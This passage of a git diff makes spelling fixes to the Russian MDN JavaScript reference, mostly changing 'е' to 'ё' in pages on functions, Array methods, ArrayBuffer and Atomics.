 elements.map((element) => {
@@ -123,7 +123,7 @@ var p = new Person();
 
 
          Кроме этого, может быть создана привязанная функция, в которую передаётся требуемое значение this для функции (функция growUp() в примере выше).
          
 
-
          Стрелочные функции не содержат собственный контекст this, а используют значение this окружающего контекста. Поэтому нижеприведенный код работает как предполагалось:
          
+
          Стрелочные функции не содержат собственный контекст this, а используют значение this окружающего контекста. Поэтому нижеприведённый код работает как предполагалось:
          
 
 
          function Person(){
   this.age = 0;
diff --git a/files/ru/web/javascript/reference/functions/default_parameters/index.html b/files/ru/web/javascript/reference/functions/default_parameters/index.html
index 9043c38446..b257a5fe65 100644
--- a/files/ru/web/javascript/reference/functions/default_parameters/index.html
+++ b/files/ru/web/javascript/reference/functions/default_parameters/index.html
@@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Functions/Default_parameters
 
 
          Описание
          
 
-
          В JavaScript параметры функции, которым при ее вызове не передаются значения, принимают по умолчанию значение {{jsxref("undefined")}}. Однако в некоторых случаях может быть полезно задать иное значение по умолчанию. Именно для таких случаев предназначены параметры по умолчанию.
          
+
          В JavaScript параметры функции, которым при её вызове не передаются значения, принимают по умолчанию значение {{jsxref("undefined")}}. Однако в некоторых случаях может быть полезно задать иное значение по умолчанию. Именно для таких случаев предназначены параметры по умолчанию.
          
 
 
          В прошлом для проверки параметров и задания их значений по умолчанию использовался код в теле функции, в котором проверялось, не равны ли значения параметров undefined.
          
 
@@ -47,7 +47,7 @@ multiply(5, 2); // 10
 multiply(5); // 5
 
          
 
-
          С появлением в ES2015 параметров по умолчанию стало возможным обходиться без проверки параметров в теле функции. Так, в приведенном выше примере достаточно в заголовке функции указать 1 в качестве значения по умолчанию для параметра b:
          
+
          С появлением в ES2015 параметров по умолчанию стало возможным обходиться без проверки параметров в теле функции. Так, в приведённом выше примере достаточно в заголовке функции указать 1 в качестве значения по умолчанию для параметра b:
          
 
 
          function multiply(a, b = 1) {
   return a*b;
@@ -78,7 +78,7 @@ test(null);      // 'object' (num получил значение null)
 
 
          Параметры по умолчанию вычисляются в момент вызова функции
          
 
-
          В Javascript параметры по умолчанию вычисляются в момент вызова функции. В отличие от языка Python, при каждом вызове функции создается новое лексическое окружение функции.
          
+
          В Javascript параметры по умолчанию вычисляются в момент вызова функции. В отличие от языка Python, при каждом вызове функции создаётся новое лексическое окружение функции.
          
 
 
          function append(value, array = []) {
   array.push(value);
@@ -117,7 +117,7 @@ callSomething(); // 2
 greet('David', 'Hi');  // ["David", "Hi", "Hi David"]
 greet('David', 'Hi', 'Happy Birthday!');  // ["David", "Hi", "Happy Birthday!"]
          
 
-
          Следующий пример пример еще раз иллюстрирует эту возможность, а также позволяет еще раз сравнить два способа достижения одного и того же результата: с использованием инициализации параметров по умолчанию и без ее использования:
          
+
          Следующий пример пример ещё раз иллюстрирует эту возможность, а также позволяет ещё раз сравнить два способа достижения одного и того же результата: с использованием инициализации параметров по умолчанию и без её использования:
          
 
 
          function go() {
   return ":P"
@@ -158,7 +158,7 @@ withoutDefaults.call({value:"=^_^="});
 
 
          Инициализация с помощью функций, определяемых в теле функции
          
 
-
          Начиная с версии Gecko 33 {{geckoRelease(33)}} функции, определяемые в теле самой функции, не могут быть использованы для инициализации параметров по умолчанию; попытка это сделать приведет к ошибке {{jsxref("ReferenceError")}}. Параметры по умолчанию всегда вычисляются до обработки описаний функций, определяемых в теле функции.
          
+
          Начиная с версии Gecko 33 {{geckoRelease(33)}} функции, определяемые в теле самой функции, не могут быть использованы для инициализации параметров по умолчанию; попытка это сделать приведёт к ошибке {{jsxref("ReferenceError")}}. Параметры по умолчанию всегда вычисляются до обработки описаний функций, определяемых в теле функции.
          
 
 
          // Вызовет ошибку ReferenceError!
 function f(a = go()) {
diff --git a/files/ru/web/javascript/reference/functions/get/index.html b/files/ru/web/javascript/reference/functions/get/index.html
index 9e2c329c8e..0e6803733f 100644
--- a/files/ru/web/javascript/reference/functions/get/index.html
+++ b/files/ru/web/javascript/reference/functions/get/index.html
@@ -49,7 +49,7 @@ translation_of: Web/JavaScript/Reference/Functions/get
 
 
          Определение геттера на новом объекте в момент инициализации этого объекта
          
 
-
          Ниже создается псевдо-свойство latest для объекта obj, который выведет последний элемент массива в консоль лог.
          
+
          Ниже создаётся псевдо-свойство latest для объекта obj, который выведет последний элемент массива в консоль лог.
          
 
 
          const obj = {
   log: ['example','test'],
@@ -98,10 +98,10 @@ console.log(obj.foo); // "bar"
          
 
 
          Геттеры дают нам возможность определять свойство объекта , но они не вычисляют значение этого свойства до тех пор, пока оно не станет доступно. Геттер откладывает стоимость вычисления значения до тех пор, пока это значение не станет нужно, и если оно никогда не понадобится, то вы никогда не заплатите.
          
 
-
          Дополнительная техника оптимизации заключается в том, чтобы лениться или откладывать вычисление значения свойства и кэшировать его для дальнейшего доступа. Так поступают умные или запоминающие геттеры. Значение вычисляется в первый раз при вызове геттера и затем сохраняется в кэше так, что последующие обращения будут возвращать кэшированные значения без его пересчета. Это полезно в следующих ситуациях:
          
+
          Дополнительная техника оптимизации заключается в том, чтобы лениться или откладывать вычисление значения свойства и кэшировать его для дальнейшего доступа. Так поступают умные или запоминающие геттеры. Значение вычисляется в первый раз при вызове геттера и затем сохраняется в кэше так, что последующие обращения будут возвращать кэшированные значения без его пересчёта. Это полезно в следующих ситуациях:
          
 
 
            
- 
          • Если вычисление значения свойства дорого (занимает много оперативной памяти или процессорного времени, порождает рабочий поток, получает удаленный файл, и т. д.).
            • 
+ 
          • Если вычисление значения свойства дорого (занимает много оперативной памяти или процессорного времени, порождает рабочий поток, получает удалённый файл, и т. д.).
            • 
  
          • Если сейчас это значение не нужно. Оно будет использоваться позже, или в некоторых случаях оно не используется вообще.
            • 
  
          • Если оно используется, к нему будут обращаться несколько раз, и нет необходимости его пересчитывать, так как значение не будет изменено, или не должно пересчитываться.
            • 
 
          
@@ -119,7 +119,7 @@ console.log(obj.foo); // "bar"
          
 
 
          get и defineProperty
          
 
-
          Использование ключевого слова get и {{jsxref("Object.defineProperty()")}} дает похожие результаты, но при использовании в {{jsxref("classes")}} между ними есть тонкая разница.
          
+
          Использование ключевого слова get и {{jsxref("Object.defineProperty()")}} даёт похожие результаты, но при использовании в {{jsxref("classes")}} между ними есть тонкая разница.
          
 
 
          При использовании get свойство будет определено в прототипе объекта, в то время, как при использовании {{jsxref ("Object.defineProperty ()")}} свойство будет определено в экземпляре, к которому применяется.
          
 
diff --git a/files/ru/web/javascript/reference/functions/method_definitions/index.html b/files/ru/web/javascript/reference/functions/method_definitions/index.html
index 2a7f130d76..bc7b16eac1 100644
--- a/files/ru/web/javascript/reference/functions/method_definitions/index.html
+++ b/files/ru/web/javascript/reference/functions/method_definitions/index.html
@@ -38,7 +38,7 @@ original_slug: Web/JavaScript/Reference/Functions/Определение_мет
 
 
          Сокращение методов-генераторов
          
 
-
          Методы-генераторы также могут быть определены используя короткий синтаксис. Обратите внимание, что звездочка (*) в коротком синтаксисе должна быть перед именем свойства генератора. То есть, * g(){} будет работать, а g *(){} не будет.
          
+
          Методы-генераторы также могут быть определены используя короткий синтаксис. Обратите внимание, что звёздочка (*) в коротком синтаксисе должна быть перед именем свойства генератора. То есть, * g(){} будет работать, а g *(){} не будет.
          
 
 
          // Используя свойство с именем (pre-ES6)
 var obj2 = {
diff --git a/files/ru/web/javascript/reference/functions/set/index.html b/files/ru/web/javascript/reference/functions/set/index.html
index 97b89211c1..438bd10539 100644
--- a/files/ru/web/javascript/reference/functions/set/index.html
+++ b/files/ru/web/javascript/reference/functions/set/index.html
@@ -41,13 +41,13 @@ translation_of: Web/JavaScript/Reference/Functions/set
 
        
 
 
-
        Сеттер может быть удален оператором delete.
        
+
        Сеттер может быть удалён оператором delete.
        
 
 
        Примеры
        
 
 
        Определение сеттера при инициализации новых объектов
        
 
-
        Это позволит определить псевдо-параметр current объекта o, который задает значение, обновляющее значение log:
        
+
        Это позволит определить псевдо-параметр current объекта o, который задаёт значение, обновляющее значение log:
        
 
 
        var o = {
   set current (str) {
@@ -57,7 +57,7 @@ translation_of: Web/JavaScript/Reference/Functions/set
 }
 
        
 
-
        обратите внимание, что current не определен и любые попытки доступа к нему вернут undefined.
        
+
        обратите внимание, что current не определён и любые попытки доступа к нему вернут undefined.
        
 
 
        Удаление сеттера оператором delete
        
 
diff --git a/files/ru/web/javascript/reference/global_objects/array/concat/index.html b/files/ru/web/javascript/reference/global_objects/array/concat/index.html
index b3c2fa6eea..5d2bff7df7 100644
--- a/files/ru/web/javascript/reference/global_objects/array/concat/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/concat/index.html
@@ -119,7 +119,7 @@ console.log(alphaNumeric); // Результат: ['a', 'b', 'c', 1, 2, 3]
 
        Совместимость с браузерами
        
 
 
        
-
+
 
 
        {{Compat("javascript.builtins.Array.concat")}}
        
 
        
diff --git a/files/ru/web/javascript/reference/global_objects/array/every/index.html b/files/ru/web/javascript/reference/global_objects/array/every/index.html
index 830be8882f..dc64e46dc1 100644
--- a/files/ru/web/javascript/reference/global_objects/array/every/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/every/index.html
@@ -50,7 +50,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/every
 
 
        Описание
        
 
-
        Метод every() вызывает переданную функцию callback один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдет такой, для которого callback вернет ложное значение (значение, становящееся равным false при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод every() немедленно вернёт false. В противном случае, если callback вернёт true для всех элементов массива, метод every() вернёт true. Функция callback вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.
        
+
        Метод every() вызывает переданную функцию callback один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдёт такой, для которого callback вернёт ложное значение (значение, становящееся равным false при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод every() немедленно вернёт false. В противном случае, если callback вернёт true для всех элементов массива, метод every() вернёт true. Функция callback вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.
        
 
 
        Функция callback вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.
        
 
diff --git a/files/ru/web/javascript/reference/global_objects/array/fill/index.html b/files/ru/web/javascript/reference/global_objects/array/fill/index.html
index 1e3fb187da..3bb59fb99d 100644
--- a/files/ru/web/javascript/reference/global_objects/array/fill/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/fill/index.html
@@ -146,7 +146,7 @@ arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]
        
 
        Совместимость с браузерами
        
 
 
        
-
+
 
 
        {{Compat("javascript.builtins.Array.fill")}}
        
 
        
diff --git a/files/ru/web/javascript/reference/global_objects/array/filter/index.html b/files/ru/web/javascript/reference/global_objects/array/filter/index.html
index da6a9296ae..2eb7f46f9f 100644
--- a/files/ru/web/javascript/reference/global_objects/array/filter/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/filter/index.html
@@ -287,7 +287,7 @@ console.log(deleteWords)
 
        Совместимость с браузерами
        
 
 
        
-
+
 
 
        {{Compat("javascript.builtins.Array.filter")}}
        
 
        
diff --git a/files/ru/web/javascript/reference/global_objects/array/find/index.html b/files/ru/web/javascript/reference/global_objects/array/find/index.html
index ceef78d17d..46c0b0e693 100644
--- a/files/ru/web/javascript/reference/global_objects/array/find/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/find/index.html
@@ -60,7 +60,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/find
 
 
        Метод find не изменяет массив, для которого он был вызван.
        
 
-
        Диапазон элементов, обрабатываемых методом find, устанавливается до первого вызова функции callback. Элементы, добавленные в массив после начала выполнения метода find, не будут посещены функцией callback. Если существующие, непосещение элементы массива изменяются функцией callback, их значения, переданные в функцию, будут значениями на тот момент времени когда метод find посетит их; удалённые элементы все еще будут посещены. 
        
+
        Диапазон элементов, обрабатываемых методом find, устанавливается до первого вызова функции callback. Элементы, добавленные в массив после начала выполнения метода find, не будут посещены функцией callback. Если существующие, непосещение элементы массива изменяются функцией callback, их значения, переданные в функцию, будут значениями на тот момент времени когда метод find посетит их; удалённые элементы все ещё будут посещены. 
        
 
 
        Примеры
        
 
diff --git a/files/ru/web/javascript/reference/global_objects/array/flat/index.html b/files/ru/web/javascript/reference/global_objects/array/flat/index.html
index 236fa402fa..9fbccf3f75 100644
--- a/files/ru/web/javascript/reference/global_objects/array/flat/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/flat/index.html
@@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat
 
 
        Возвращаемое значение
        
 
-
        Новый массив с объединенными в него подмассивами.
        
+
        Новый массив с объединёнными в него подмассивами.
        
 
 
        Примеры
        
 
@@ -76,7 +76,7 @@ arr1.reduce((acc, val) => acc.concat(val), []);// [1, 2, 3, 4]
 const flatSingle = arr => [].concat(...arr);
        -
        // Для развертывания многомерных массивов используем рекурсию, reduce и concat
+
        // Для развёртывания многомерных массивов используем рекурсию, reduce и concat
 const arr = [1, 2, [3, 4, [5, 6]]];
 
 function flatDeep(arr, d = 1) {
diff --git a/files/ru/web/javascript/reference/global_objects/array/foreach/index.html b/files/ru/web/javascript/reference/global_objects/array/foreach/index.html
index 9a349176f9..35bf8b9a41 100644
--- a/files/ru/web/javascript/reference/global_objects/array/foreach/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/foreach/index.html
@@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach
 
 
        
  
        callback
        
- 
        Функция, которая будет вызвана для каждого элемента массива. Она принимает от одного до трех аргументов:
        
+ 
        Функция, которая будет вызвана для каждого элемента массива. Она принимает от одного до трёх аргументов:
        
  
        
  
        
   
        currentValue
        
@@ -253,7 +253,7 @@ words.forEach((word) => {
 
 
        Выравнивание (уплощение) массива
        
 
-
        Следующий пример приведен только для целей обучения. Если вы хотите выравнять массив с помощью встроенных методов, вы можете использовать {{jsxref("Array.prototype.flat()")}}
        
+
        Следующий пример приведён только для целей обучения. Если вы хотите выравнять массив с помощью встроенных методов, вы можете использовать {{jsxref("Array.prototype.flat()")}}
        
 
 
        function flatten(arr) {
   const result = []
@@ -370,7 +370,7 @@ if (!Array.prototype.forEach) {
 
        Совместимость с браузерами
        
 
 
        
-
+
 
 
        {{Compat("javascript.builtins.Array.forEach")}}
        
 
        
diff --git a/files/ru/web/javascript/reference/global_objects/array/keys/index.html b/files/ru/web/javascript/reference/global_objects/array/keys/index.html
index 94cc84dd43..21899980d1 100644
--- a/files/ru/web/javascript/reference/global_objects/array/keys/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/keys/index.html
@@ -76,7 +76,7 @@ console.log(denseKeys);  // [0, 1, 2]
 
        Совместимость с браузерами
        
 
 
        
-
+
 
 
        {{Compat("javascript.builtins.Array.keys")}}
        
 
        
diff --git a/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html b/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html
index 2b69fd256f..8857ca7b47 100644
--- a/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html
@@ -145,7 +145,7 @@ if (!Array.prototype.lastIndexOf) {
 
        Совместимость с браузерами
        
 
 
        
-
+
 
 
        {{Compat("javascript.builtins.Array.lastIndexOf")}}
        
 
        
diff --git a/files/ru/web/javascript/reference/global_objects/array/map/index.html b/files/ru/web/javascript/reference/global_objects/array/map/index.html
index 89a4c3362c..b9adf151c8 100644
--- a/files/ru/web/javascript/reference/global_objects/array/map/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/map/index.html
@@ -270,7 +270,7 @@ if (!Array.prototype.map) {
 
        Совместимость с браузерами
        
 
 
        
-
+
 
 
        {{Compat("javascript.builtins.Array.map")}}
        
 
        
diff --git a/files/ru/web/javascript/reference/global_objects/array/reduce/index.html b/files/ru/web/javascript/reference/global_objects/array/reduce/index.html
index b135b336ee..72c06b90b5 100644
--- a/files/ru/web/javascript/reference/global_objects/array/reduce/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/reduce/index.html
@@ -302,7 +302,7 @@ if (!Array.prototype.reduce) {
 
        Совместимость с браузерами
        
 
 
        
-
+
 
 
        {{Compat("javascript.builtins.Array.reduce")}}
        
 
        
diff --git a/files/ru/web/javascript/reference/global_objects/array/reverse/index.html b/files/ru/web/javascript/reference/global_objects/array/reverse/index.html
index 811d7adea9..d5845f1bbd 100644
--- a/files/ru/web/javascript/reference/global_objects/array/reverse/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/reverse/index.html
@@ -28,7 +28,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse
 
 
        Возвращаемое значение
        
 
-
        Перевернутый массив
        
+
        Перевёрнутый массив
        
 
 
        Описание
        
 
@@ -82,7 +82,7 @@ console.log(myArray) // ['три', 'два', 'один']
 
        Совместимость с браузерами
        
 
 
        
-
+
 
 
        {{Compat("javascript.builtins.Array.reverse")}}
        
 
        
diff --git a/files/ru/web/javascript/reference/global_objects/array/slice/index.html b/files/ru/web/javascript/reference/global_objects/array/slice/index.html
index d3b197f00b..4654f52d0a 100644
--- a/files/ru/web/javascript/reference/global_objects/array/slice/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/slice/index.html
@@ -28,8 +28,8 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
  
        begin {{optional_inline}}
        
  
        Индекс (счёт начинается с нуля), по которому начинать извлечение.
        
  
        Если индекс отрицательный, begin указывает смещение от конца последовательности. Вызов slice(-2) извлечёт два последних элемента последовательности.
        
- 
        Если begin не определен, slice() начинает работать с индекса 0.
        
- 
        Если begin больше длины последовательности вернется пустой массив.
        
+ 
        Если begin не определён, slice() начинает работать с индекса 0.
        
+ 
        Если begin больше длины последовательности вернётся пустой массив.
        
  
        end {{optional_inline}}
        
  
        Индекс (счёт начинается с нуля), по которому заканчивать извлечение. Метод slice() извлекает элементы с индексом меньше end.
        
  
        Вызов slice(1, 4) извлечёт элементы со второго по четвёртый (элементы по индексам 1, 2 и 3).
        
@@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
 
 
        Возвращаемое значение
        
 
-
        Новый массив, содержащий извлеченные элементы.
        
+
        Новый массив, содержащий извлечённые элементы.
        
 
 
        Описание
        
 
@@ -228,7 +228,7 @@ var list1 = list(1, 2, 3); // [1, 2, 3]
 
        Совместимость с браузерами
        
 
 
        
-
+
 
 
        {{Compat("javascript.builtins.Array.slice")}}
        
 
        
diff --git a/files/ru/web/javascript/reference/global_objects/array/some/index.html b/files/ru/web/javascript/reference/global_objects/array/some/index.html
index 9bc3fbd7f3..a9d6aea2e0 100644
--- a/files/ru/web/javascript/reference/global_objects/array/some/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/some/index.html
@@ -52,7 +52,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/some
 
 
        Описание
        
 
-
        Метод some() вызывает переданную функцию callback один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдет такой, для которого callback вернет истинное значение (значение, становящееся равным true при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод some() немедленно вернёт true. В противном случае, если callback вернёт false для всех элементов массива, метод some() вернёт false. Функция callback вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.
        
+
        Метод some() вызывает переданную функцию callback один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдёт такой, для которого callback вернёт истинное значение (значение, становящееся равным true при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод some() немедленно вернёт true. В противном случае, если callback вернёт false для всех элементов массива, метод some() вернёт false. Функция callback вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.
        
 
 
        Функция callback вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.
        
 
diff --git a/files/ru/web/javascript/reference/global_objects/array/sort/index.html b/files/ru/web/javascript/reference/global_objects/array/sort/index.html
index 16b73503c5..f33119cd53 100644
--- a/files/ru/web/javascript/reference/global_objects/array/sort/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/sort/index.html
@@ -27,7 +27,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort
 
 
        Возвращаемое значение
        
 
-
        Отсортированный массив. Важно, что копия массива не создается - массив сортируется на месте.
        
+
        Отсортированный массив. Важно, что копия массива не создаётся - массив сортируется на месте.
        
 
 
        Описание
        
 
diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html
index 3dfc1687ab..19d63d3859 100644
--- a/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html
+++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
 ---
 
        {{JSRef}}
        
 
-
        Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не дает. Вместо этого, вы можете создать типизированный массив или объект {{jsxref("DataView")}}, который можно использовать для чтения и записи данных в ArrayBuffer. 
        
+
        Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не даёт. Вместо этого, вы можете создать типизированный массив или объект {{jsxref("DataView")}}, который можно использовать для чтения и записи данных в ArrayBuffer. 
        
 
 
        Синтаксис
        
 
@@ -24,11 +24,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
 
 
        Возвращаемое значение
        
 
-
        Новый объект ArrayBuffer определенного размера. Изначально содержимое равно 0.
        
+
        Новый объект ArrayBuffer определённого размера. Изначально содержимое равно 0.
        
 
 
        Описание
        
 
-
        Конструктор ArrayBuffer создает новый ArrayBuffer установленного в байтах размера.
        
+
        Конструктор ArrayBuffer создаёт новый ArrayBuffer установленного в байтах размера.
        
 
 
        Создание буфера
        
 
@@ -50,16 +50,16 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
 
 
        
  
        {{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}
        
- 
        Возвращает true если arg – одно из представлений ArrayBuffer, например типизированный массив или {{jsxref("DataView")}}. Вернет false в остальных случаях.
        
+ 
        Возвращает true если arg – одно из представлений ArrayBuffer, например типизированный массив или {{jsxref("DataView")}}. Вернёт false в остальных случаях.
        
  
        {{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}
        
  
        
- 
        Вернет новый ArrayBuffer, контент которого будет взят из данных oldBuffer, а затем усечен или дополнен нулевыми значениями до newByteLength.
        
+ 
        Вернёт новый ArrayBuffer, контент которого будет взят из данных oldBuffer, а затем усечён или дополнен нулевыми значениями до newByteLength.
        
  
        
 
        
 
 
        Пример
        
 
-
        В этом примере мы создаем 8-байтный буфер с {{jsxref("Global_Objects/Int32Array", "Int32Array")}} представлением:
        
+
        В этом примере мы создаём 8-байтный буфер с {{jsxref("Global_Objects/Int32Array", "Int32Array")}} представлением:
        
 
 
        var buffer = new ArrayBuffer(8);
 var view   = new Int32Array(buffer);
        
@@ -76,7 +76,7 @@ var view   = new Int32Array(buffer);
        
   
    {{SpecName('Typed Array')}}
    {{Spec2('Typed Array')}}
-   Заменен спецификацией ECMAScript 6.
+   Заменён спецификацией ECMAScript 6.
   
   
    {{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}
diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html
index 84b8592a5e..6182148417 100644
--- a/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html
+++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice
 ---
 
        {{JSRef}}
        
 
-
        Метод slice() вернет новый ArrayBuffer, содержимое которого, будет копией содержимого, содержащегося в исходом ArrayBuffer, начиная с begin (включительно), и до end(не включая).
        
+
        Метод slice() вернёт новый ArrayBuffer, содержимое которого, будет копией содержимого, содержащегося в исходом ArrayBuffer, начиная с begin (включительно), и до end(не включая).
        
 
 
        Syntax
        
 
diff --git a/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html b/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html
index b1475ad6e3..41f858c951 100644
--- a/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html
+++ b/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction
 ---
 
        {{JSRef}}
        
 
-
        Конструктор AsyncFunction создает новый объект {{jsxref("Statements/async_function", "async function")}}. В JavaScript любая асинхронная функция фактически является объектом AsyncFunction.
        
+
        Конструктор AsyncFunction создаёт новый объект {{jsxref("Statements/async_function", "async function")}}. В JavaScript любая асинхронная функция фактически является объектом AsyncFunction.
        
 
 
        Обратите внимание, что AsyncFunction не является глобальным объектом. Её можно получить, выполнив следующий код.
        
 
@@ -20,14 +20,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction
 
 
        
  
        arg1, arg2, ... argN
        
- 
        Имена, используемые функцией как формальные имена аргументов. Каждое имя должно быть строкой, которая соответствует действительному идентификатору JavaScript или списку таких строк, разделенных запятой; например, "x", "theValue", или "a,b". 
        
+ 
        Имена, используемые функцией как формальные имена аргументов. Каждое имя должно быть строкой, которая соответствует действительному идентификатору JavaScript или списку таких строк, разделённых запятой; например, "x", "theValue", или "a,b". 
        
  
        functionBody
        
  
        Строка, содержащая в себе определение функции в исходном коде JavaScript .
        
 
        
 
 
        Описание
        
 
-
        Объекты {{jsxref("Statements/async_function", "async function")}}, созданные с помощью AsyncFunction constructor  будут распарсены в момент, когда функция создается. Это менее эффективно, чем объявлять асинхронную функцию с помощью {{jsxref("Statements/async_function", "async function expression")}} и вызывать ее внутри вашего кода, поскольку такие функции анализируются с остальной частью кода.
        
+
        Объекты {{jsxref("Statements/async_function", "async function")}}, созданные с помощью AsyncFunction constructor  будут распарсены в момент, когда функция создаётся. Это менее эффективно, чем объявлять асинхронную функцию с помощью {{jsxref("Statements/async_function", "async function expression")}} и вызывать её внутри вашего кода, поскольку такие функции анализируются с остальной частью кода.
        
 
 
        Все аргументы, переданные функции, рассматриваются как имена идентификаторов параметров в создаваемой функции в том порядке, в котором они передаются.
        
 
diff --git a/files/ru/web/javascript/reference/global_objects/atomics/add/index.html b/files/ru/web/javascript/reference/global_objects/atomics/add/index.html
index 546fdbd27f..003ce1619a 100644
--- a/files/ru/web/javascript/reference/global_objects/atomics/add/index.html
+++ b/files/ru/web/javascript/reference/global_objects/atomics/add/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add
 ---
 
        {{JSRef}}
        
 
-
        Статический метод Atomics.add() добавляет значение к текущему по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдет, пока измененное значение не будет записано обратно.
        
+
        Статический метод Atomics.add() добавляет значение к текущему по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдёт, пока изменённое значение не будет записано обратно.
        
 
 
        Синтаксис
        
 
@@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add
 
 
        
  
        typedArray
        
- 
        Разделенный массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.
        
+ 
        Разделённый массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.
        
  
        index
        
  
        Позиция в typedArray для добавления value.
        
  
        value
        
diff --git a/files/ru/web/javascript/reference/global_objects/atomics/index.html b/files/ru/web/javascript/reference/global_objects/atomics/index.html
index d51c14af2e..7411110086 100644
--- a/files/ru/web/javascript/reference/global_objects/atomics/index.html
+++ b/files/ru/web/javascript/reference/global_objects/atomics/index.html
@@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics
 
 
        Атомарные операции
        
 
-
        Когда память разделена, несколько потоков могут читать и записывать одни и те же данные в память. Атомарные операции гарантируют, что ожидаемые значения будут записаны и прочитаны, а операции завершены, прежде чем следующая операция начнет свою работу, и они не будут прерваны.
        
+
        Когда память разделена, несколько потоков могут читать и записывать одни и те же данные в память. Атомарные операции гарантируют, что ожидаемые значения будут записаны и прочитаны, а операции завершены, прежде чем следующая операция начнёт свою работу, и они не будут прерваны.
        
 
 
        
  
        {{jsxref("Atomics.add()")}}
        
@@ -50,12 +50,12 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics
 
 
        Wait и notify
        
 
-
        wait() и wake() методы моделируются на основе futexes ("fast user-space mutex" - быстрый мьютекс пользовательского пространства) Linux и предоставляют собой способы ожидания момента, когда определенное состояние не станет true, и обычно используется как блокирующие конструкции.
        
+
